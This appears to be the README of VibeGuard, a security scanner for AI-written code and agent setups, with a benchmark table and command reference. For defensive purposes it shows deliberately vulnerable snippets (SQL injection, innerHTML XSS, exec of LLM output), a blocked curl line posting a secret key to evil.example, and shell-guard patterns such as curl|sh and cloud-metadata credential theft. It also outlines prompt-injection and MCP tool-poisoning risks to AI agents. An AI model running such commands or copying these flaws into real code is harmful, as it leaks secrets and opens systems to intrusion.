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Features • Quick Start • Benchmark • Commands • Website • Why • Limits

Why VibeGuard

AI coding tools ship fast but skip security. Most devs vibe-code a prototype and forget to harden it. VibeGuard raises the floor — one command, 5 seconds, no account, no telemetry.

$ npx @yagyeshvyas/vibeguard scan

VibeGuard security scan
./my-app

CRITICAL  api/route.ts:3  [secret.openai-key]
  OpenAI API key hardcoded in server code
  fix: Move to environment variable.

HIGH      db/query.ts:5   [taint.sql-injection]
  User input flows into SQL query via template literal (dataflow-confirmed)
  fix: Use parameterized queries / prepared statements.

HIGH      app/page.jsx:8  [taint.xss-dom]
  User input from URLSearchParams reaches innerHTML — DOM XSS
  fix: Use textContent instead of innerHTML. Sanitize with DOMPurify if needed.

Grade D  (12 files)  1 critical  3 high  2 medium  1 low

Run vibeguard fix to auto-fix 4 issues

Quick Start

npx @yagyeshvyas/vibeguard scan

One-command full protection (daemon + hooks + shell guard):

npx @yagyeshvyas/vibeguard auto          # full protection on
npx @yagyeshvyas/vibeguard auto --stop    # turn it off

Wire into Claude Code

claude mcp add vibeguard -- npx @yagyeshvyas/vibeguard mcp

Wire into Cursor / Windsurf

{ "mcpServers": { "vibeguard": { "command": "npx", "args": ["@yagyeshvyas/vibeguard", "mcp"] } } }

What It Catches

Leaked Stripe key in client code

const key = "sk_live_51H8x...";  // anyone with devtools can issue refunds

Flags 50+ secret types — OpenAI, AWS, GitHub, Stripe, Slack, Firebase, GCP, Twilio, SendGrid, npm, Mailgun, Resend, Telegram — and tells you to move them to process.env.

Supabase database open to the world

create table posts ( ... );  -- no RLS — anyone can read/write all rows

Detects missing RLS, fake RLS policies (USING (true)), and service-role keys in client components.

SQL injection via template literal

db.query(`SELECT * FROM users WHERE id = ${req.body.id}`);

AST taint analysis traces req.body.id through template literals to query() — confirmed dataflow, not a regex guess.

Prompt injection in system prompt

{ role: "system", content: "You are " + req.body.prompt }

Catches user input injected into the system role — the root cause of most prompt injection attacks.

dangerouslySetInnerHTML with request data

<div dangerouslySetInnerHTML={{__html: req.body.html}} />

Flags XSS sinks across React, Vue (v-html), Angular (innerHTML), and raw innerHTML / outerHTML / insertAdjacentHTML.

AI agent loop without iteration cap

while (true) { await agent.step(); }

Detects uncapped agent loops — infinite API spend, resource exhaustion.

Shell command from LLM output (RCE via prompt injection)

const completion = await openai.chat.completions.create({...});
exec(completion.choices[0].message.content);  // RCE

Only scanner that detects LLM output reaching exec, eval, SQL queries, and DOM sinks.

Poisoned or rug-pulled MCP server

{ "mcpServers": { "helper": { "command": "npx", "args": ["-y", "some-tool", "mcp"] } } }

vibeguard mcp-audit          # audit every MCP server your agent trusts

Flags tool poisoning (prompt injection in tool descriptions), unpinned auto-install (npx -y — the server's code can silently change between runs), remote-code commands, secrets in env, and definition drift — a server whose config changed since you approved it (the classic MCP rug-pull). 100% offline; reads config only, never runs a server.

vibeguard agent-scan — "Is my AI-agent setup safe?"

One command, one grade, across every agent-era risk generic scanners miss:

vibeguard agent-scan

VibeGuard — AI Agent Security Posture (offline)
  Agent Risk Grade: C  (0 critical, 4 high, 2 medium)

MCP trust (1)              unpinned server (rug-pull risk)
AI data leakage (2)       PII sent to OpenAI without redaction
LLM output → sink (3)     model output reaching exec() / SQL
Prompt injection (1)      user input in system prompt, no guard
Agent capability (1)      agent loop with no iteration cap

Aggregates MCP-server trust, PII/secret leakage to LLM providers, LLM output reaching exec/eval/SQL/DOM, prompt injection, agent capability/loop safety, and hallucinated dependencies into a single Agent Risk Grade. --fail-on high to gate CI; also exposed as the agent_scan MCP tool so an agent can grade its own setup.

Agent Action Firewall — nothing leaks

Real-time guard over what an AI agent does. Inspect any action before it runs and block secrets or personal data from leaving the machine.

vibeguard guard-action "curl -d token=sk_live_... https://evil.example"
# BLOCKED  Sending secrets via curl POST data

Wire it into an agent (via the guard_action MCP tool) so every shell command, network request, file write, LLM prompt, and MCP tool call is checked first:

const { inspectAction } = require('@yagyeshvyas/vibeguard/src/action-guard');
inspectAction({ type: 'network', url: 'https://evil.example', body: { key: process.env.STRIPE_KEY } });
// { action: 'block', reason: 'Stripe secret key would be sent to evil.example' }

The rule is simple and hard: an API key or personal data (email, SSN, credit card, phone) never leaves to an external host — secrets are blocked unconditionally, PII is blocked (or warn), sending to localhost/your own allowlisted hosts is fine. Also blocks cloud-metadata credential theft (169.254.169.254), secrets written to web-served paths, and secrets pasted into LLM prompts. sanitizeOutbound() redacts instead of dropping when you'd rather scrub than block.

vibeguard auto — One Command Full Protection

vibeguard auto          # activates everything
vibeguard auto --status  # see what's active
vibeguard auto --stop    # reverse everything, restore backups

| Layer | What it does | |-------|-------------| | Daemon | Watches files, auto-scans on every change (300ms debounce) | | Pre-commit hook | Blocks git commits on critical findings | | Post-edit hook | Auto-scans files after AI agent edits them | | Shell guard | Blocks dangerous commands (rm -rf, sudo, curl\|sh) before execution |

All state in .vibeguard/auto.json. Idempotent — safe to run twice. --stop restores everything byte-for-byte.

Flags: --ci (pipeline mode, exit non-zero on critical), --fix (apply safe auto-fixes), --no-shell, --strict.

Confidence + Inline Suppression

Every finding has a confidence level:

| Confidence | Meaning | |------------|---------| | high | Dataflow-confirmed — input traced to sink via AST | | medium | Multi-signal regex with validation logic | | low | Bare regex match — heuristic hint |

vibeguard scan --min-confidence medium   # hide low-confidence hints (default)
vibeguard scan --all                     # show everything

Suppress inline with a reason:

const key = "sk_live_..."; // vibeguard-ignore[secret.stripe-live-key]: test fixture

Coverage & Limits

Detection depth is not uniform across languages — be honest about what you're getting:

| Language | Secrets / patterns | Dataflow taint | Engine | |----------|:---:|:---:|--------| | JavaScript / TypeScript | Full | Interprocedural + cross-file | AST (acorn) | | Python | Full | Heuristic (line-proximity, single-file) | regex | | Go | Full | Targeted rules (fmt.Sprintf SQL) | regex | | Java / PHP / Ruby / C# / Rust | Full | Pattern-only | regex | | Kotlin / Swift / Bash | Full | Pattern-only | regex |

Engine modes. Full precision needs the optional acorn parser. Without it VibeGuard runs regex-only and says so loudly on every scan:

⚠ engine: regex-only — acorn not installed, AST/taint precision disabled.

Install precision: npm i -D acorn acorn-walk acorn-typescript.

Fail-loud, never fail-silent. If any analysis pass errors or a file fails to parse, VibeGuard reports degraded coverage instead of pretending the scan was clean:

⚠ degraded coverage: 2 file(s) not fully analyzed [passes: ast, taint].

Use vibeguard scan --strict to make a degraded scan a hard failure (exit 3) in CI.

Fast modes. --changed rescans only files changed since the last scan (SHA-256 cache; ~100x+ faster warm re-scans). --staged scans only git-staged files — ideal for a pre-commit hook. Both are per-file (cross-file analysis skipped; run a full scan for that).

The shell guard is a mistake-catcher, not a sandbox. It normalizes common obfuscation (base64, $IFS, variable indirection, quote-splitting) and blocks accidental / AI-generated dangerous commands. A determined adversary who knows the patterns can still evade it — it is not sandbox-escape prevention.

Benchmark

Measured against a curated corpus of 121 files (90 vuln + 31 clean). Not a vanity number.

Summary

| Category | TP | FP | FN | Precision | Recall | F1 | |----------|----|----|----|-----------|--------|----| | injection | 43 | 5 | 6 | 89.6% | 87.8% | 88.7% | | secrets | 19 | 7 | 2 | 73.1% | 90.5% | 80.9% | | xss | 16 | 0 | 1 | 100.0% | 94.1% | 97.0% | | path-traversal | 9 | 1 | 1 | 90.0% | 90.0% | 90.0% | | ai-safety | 8 | 2 | 6 | 80.0% | 57.1% | 66.7% | | OVERALL | 95 | 15 | 16 | 86.4% | 85.6% | 86.0% |

Per-Category Details

injection

| File | Rule ID | Verdict | |------|---------|---------| | sql-concat.js | code.sql-injection | TP | | sql-concat.js | taint.sql-injection | TP | | sql-concat2.js | code.sql-injection | TP | | sql-concat2.js | taint.sql-injection | TP | | sql-concat3.js | code.sql-injection | TP | | sql-template.js | db.sql-template-literal | TP | | sql-template.js | taint.sql-injection | FN | | sql-template2.js | db.sql-template-literal | FN | | sql-template2.js | taint.sql-injection | TP | | sql-template3.js | db.sql-template-literal | TP | | sql-template3.js | taint.sql-injection | FN | | sql-raw-rb.js | code.sql-injection | TP | | sql-raw2.js | db.sql-template-literal | TP | | sql-knex.js | code.sql-injection | TP | | sql-knex.js | mikroorm.identifier-from-request | FP | | sql-sequelize.js | code.sql-injection | TP | | sql-fstring.py | py.sql-injection | TP | | sql-fstring2.py | py.sql-injection | TP | | sql-py-concat.py | py.sql-injection | FN | | sql-sprintf.go | go.sql-fmt-sprintf | TP | | sql-sprintf.go | go.sql-injection | FP | | sql-sprintf2.go | go.sql-fmt-sprintf | TP | | sql-sprintf2.go | go.sql-injection | FP | | sql-kotlin.kt | kotlin.sql-injection | TP | | sql-csharp.cs | csharp.sql-injection | TP | | cmd-concat.js | taint.command-injection | TP | | cmd-concat.js | ast.command-injection | TP | | cmd-template.js | taint.command-injection | TP | | cmd-template.js | ast.command-injection | TP | | cmd-concat2.js | taint.command-injection | TP | | cmd-concat2.js | ast.command-injection | TP | | cmd-spawn.js | taint.command-injection | FN | | cmd-py.py | py.os-system | TP | | cmd-py2.py | py.subprocess-shell-true | TP | | cmd-py3.py | py.os-system | TP | | cmd-go.go | go.command-injection | TP | | eval-input.js | ast.eval-dynamic | TP | | eval-template.js | ast.eval-dynamic | TP | | eval-template.js | taint.code-injection | FP | | eval-new-function.js | ast.function-constructor | TP | | eval-new-function.js | ast.mass-assignment | FP | | nosql.js | ast.nosql-injection | TP | | nosql2.js | ast.nosql-injection | TP | | nosql3.js | ast.nosql-injection | TP | | nosql-where.js | ast.nosql-injection | TP | | proto-poll.js | injection.prototype-pollution | TP | | proto-poll.js | ast.mass-assignment | TP | | proto-poll2.js | injection.prototype-pollution | TP | | proto-poll3.js | injection.prototype-pollution | TP | | ssrf.js | ast.ssrf | TP | | ssrf2.js | ast.ssrf | FN | | ssrf2.js | taint.ssrf | TP | | open-redirect.js | web.open-redirect | TP | | open-redirect2.js | taint.open-redirect | TP |

secrets

| File | Rule ID | Verdict | |------|---------|---------| | openai-key.js | secret.openai-key | TP | | openai-key2.js | secret.anthropic-key | TP | | github-token.js | secret.github-token | TP | | github-token2.js | secret.github-token | TP | | github-token2.js | secret.high-entropy | FP | | stripe-key.js | secret.stripe-live-key | TP | | stripe-key.js | secret.generic-credential | TP | | stripe-key.js | stripe.key-in-client | FP | | stripe-restricted.js | secret.stripe-restricted-key | TP | | slack-token.js | secret.slack-token | TP | | gitlab-token.js | secret.gitlab-token | TP | | sendgrid-key.js | secret.sendgrid-key | TP | | npm-token.js | secret.npm-token | TP | | npm-token.js | secret.high-entropy | FP | | gcp-key.js | secret.gcp-api-key | FN | | private-key.js | secret.private-key | TP | | aws-key.js | secret.aws-access-key | TP | | mailgun-key.js | secret.mailgun-key | TP | | mailgun-key.js | secret.high-entropy | FP | | telegram-token.js | secret.telegram-bot-token | FN | | resend-key.js | secret.resend-key | TP | | conn-string.js | secret.conn-string-password | TP | | conn-string.js | secret.connection-string | FP | | generic-secret.js | secret.generic-credential | TP | | docker-build-arg.js | secret.docker-build-arg | TP | | docker-build-arg.js | ai.key-in-url | FP | | env-secret.js | secret.aws-secret-in-env | TP | | env-secret.js | secret.high-entropy | FP |

xss

| File | Rule ID | Verdict | |------|---------|---------| | reflected-xss.js | xss.reflected-response | TP | | reflected-xss.js | taint.xss-reflected | TP | | reflected-xss2.js | xss.reflected-response | TP | | reflected-xss2.js | taint.xss-reflected | TP | | reflected-xss3.js | xss.reflected-response | TP | | reflected-xss3.js | taint.xss-reflected | TP | | reflected-xss4.js | xss.reflected-response | TP | | reflected-xss4.js | taint.xss-reflected | TP | | innerhtml.js | injection.xss-angular-innerHTML | TP | | innerhtml.js | taint.xss-dom | TP | | innerhtml2.js | injection.xss-innerhtml-direct | TP | | innerhtml2.js | taint.xss-dom | TP | | dangerously-html.jsx | react.dangerous-html | TP | | dangerously-html2.jsx | react.dangerous-html | TP | | dangerously-html2.jsx | ai.llm-output-dom | TP | | vue-v-html.js | injection.xss-vue-v-html | FN | | eval-llm-output.js | ai.llm-output-dom | TP |

path-traversal

| File | Rule ID | Verdict | |------|---------|---------| | read-concat.js | taint.path-traversal | TP | | sendfile.js | taint.path-traversal | TP | | read-template.js | taint.path-traversal | TP | | read-template.js | ai.tool-broad-file-access | TP | | write-concat.js | taint.path-traversal | TP | | unlink-concat.js | taint.path-traversal | TP | | create-read-stream.js | taint.path-traversal | TP | | append-file.js | taint.path-traversal | TP | | path-join-template.js | taint.path-traversal | FN | | path-join-template.js | upload.filename-path-traversal | TP | | allowlist.js | taint.path-traversal | FP |

ai-safety

| File | Rule ID | Verdict | |------|---------|---------| | user-in-system-prompt.js | ai.user-input-in-system-prompt | TP | | llm-output-exec.js | ai.llm-output-exec | TP | | llm-output-exec.js | taint.command-injection | TP | | llm-output-exec.js | ai.llm-output-shell | FP | | llm-output-exec.js | ast.command-injection | FP | | agent-loop-no-cap.js | ai.agent-loop-no-cap | TP | | model-id-user-input.js | ai.model-id-injection | TP | | tool-result-injection.js | ai.tool-result-injection | FN | | agent-memory-poison.js | ai.memory-poisoning | FN | | tool-poisoning.js | ai.tool-poisoning | TP | | tool-poisoning.js | ai.mcp-description-injection-deep | TP | | prompt-extraction.js | ai.prompt-extraction | FN | | llm-output-dom.js | ai.llm-output-dom | TP | | agent-deploy.js | ai.agent-can-deploy | FN | | agent-secrets.js | ai.agent-can-access-secrets | FN | | model-id-template.js | ai.model-id-injection | FN |

Methodology

• True Positive (TP): Expected rule fires on a vuln file.
• False Positive (FP): Any finding on a clean file, or an unexpected rule on a vuln file.
• False Negative (FN): Expected rule that did not fire on a vuln file.
• Precision = TP / (TP + FP)
• Recall = TP / (TP + FN)
• F1 = 2 * (Precision * Recall) / (Precision + Recall)

Generated: 2026-07-12T18:25:03.049Z

Run npm run benchmark to reproduce. Per-category breakdown in test/benchmark/benchmark-results.md.

Commands

vibeguard scan [dir]              # scan a project (auto-detects framework)
vibeguard scan --fix              # scan + apply safe auto-fixes
vibeguard scan --all              # show all findings including low-confidence
vibeguard scan --patch            # output unified diff for fixes
vibeguard agent-scan [dir]         # AI agent security posture grade
vibeguard mcp-audit               # audit MCP servers for poisoning/drift
vibeguard guard-action "cmd"      # inspect an agent action before running
vibeguard auto [dir]              # full protection (daemon + hooks + shell guard)
vibeguard auto --stop             # turn off, restore backups
vibeguard fix [dir]               # auto-fix 43 rule types
vibeguard pre-deploy [dir]        # 13-gate deployment check
vibeguard mcp                     # MCP server (for AI client integration)
vibeguard guard "command"         # check a shell command before running it
vibeguard url <url>               # scan HTTP headers for security misconfig
vibeguard pii-text "text"         # detect PII in text (email, SSN, card, phone)
vibeguard cve <package>           # check a package version for known CVEs
vibeguard install-hook            # git pre-commit hook (blocks on critical)
vibeguard install-hook-post       # PostToolUse hook (auto-scan AI edits)
vibeguard init-ci                 # generate CI/CD workflow files

Privacy

VibeGuard runs entirely on your machine. No telemetry, no analytics, no network calls by default.

| Command | Network? | |---------|---------| | scan, fix, auto, mcp, install | Never | | cve (package name lookup) | Opt-in, OSV.dev only | | url (header scan) | Opt-in, URL you provide |

The runtime interceptor adds guardrails that make data exfiltration significantly harder — it wraps fetch, http.request, child_process.exec, and fs.readFileSync to block outbound secrets, PII, and sensitive file access. It is not a sandbox escape prevention layer.

Honest Scope

VibeGuard catches the mechanical security holes that AI coding tools leave behind. It does not:

• Prove your app is safe or leak-proof
• Track personal data end-to-end through your app
• Judge business logic flaws
• Replace a real security review for anything touching money, auth, or personal data

It raises the floor fast — catching the holes that AI tools create by default. The benchmark numbers above are honest: 86.0% F1 means it misses ~14% of real issues and produces some false positives. Run npm run benchmark to reproduce. Read the per-category details in test/benchmark/benchmark-results.md before relying on it.

Honest limits (so the claims stay true)

• Guard, not a sandbox — stops accidents, agent mistakes, and the common exfil/tamper paths; not a determined attacker with arbitrary local code execution who rewrites both a module and its manifest.
• Runtime enforcement is Node-scoped — non-Node child runtimes making their own network calls bypass the wrappers (static agent-scan / guard-action still cover them).
• Integrity ≠ full chain of trust — detects source tampering; npm provenance is the real anchor.

Languages

JavaScript, TypeScript, Python, Go, Java, Ruby, PHP, C#, Rust, Kotlin, Swift, Bash, SQL, YAML. Language-specific rules are gated by file extension — Go rules don't fire on .js files.

CI/CD

vibeguard auto --ci                # non-interactive, exit non-zero on critical
vibeguard init-ci                  # generate GitHub Actions workflow
vibeguard scan --output sarif      # SARIF output for GitHub Code Scanning

Templates included for GitLab CI, Jenkins, CircleCI, Azure Pipelines.

Development

npm install
npm test          # 356 tests, 0 failures
npm run benchmark # precision/recall/F1
npm run counts    # verify rule/tool counts match source
npm run lint      # 0 errors

License

MIT. Free forever. No ads. No tracking. No data collection.

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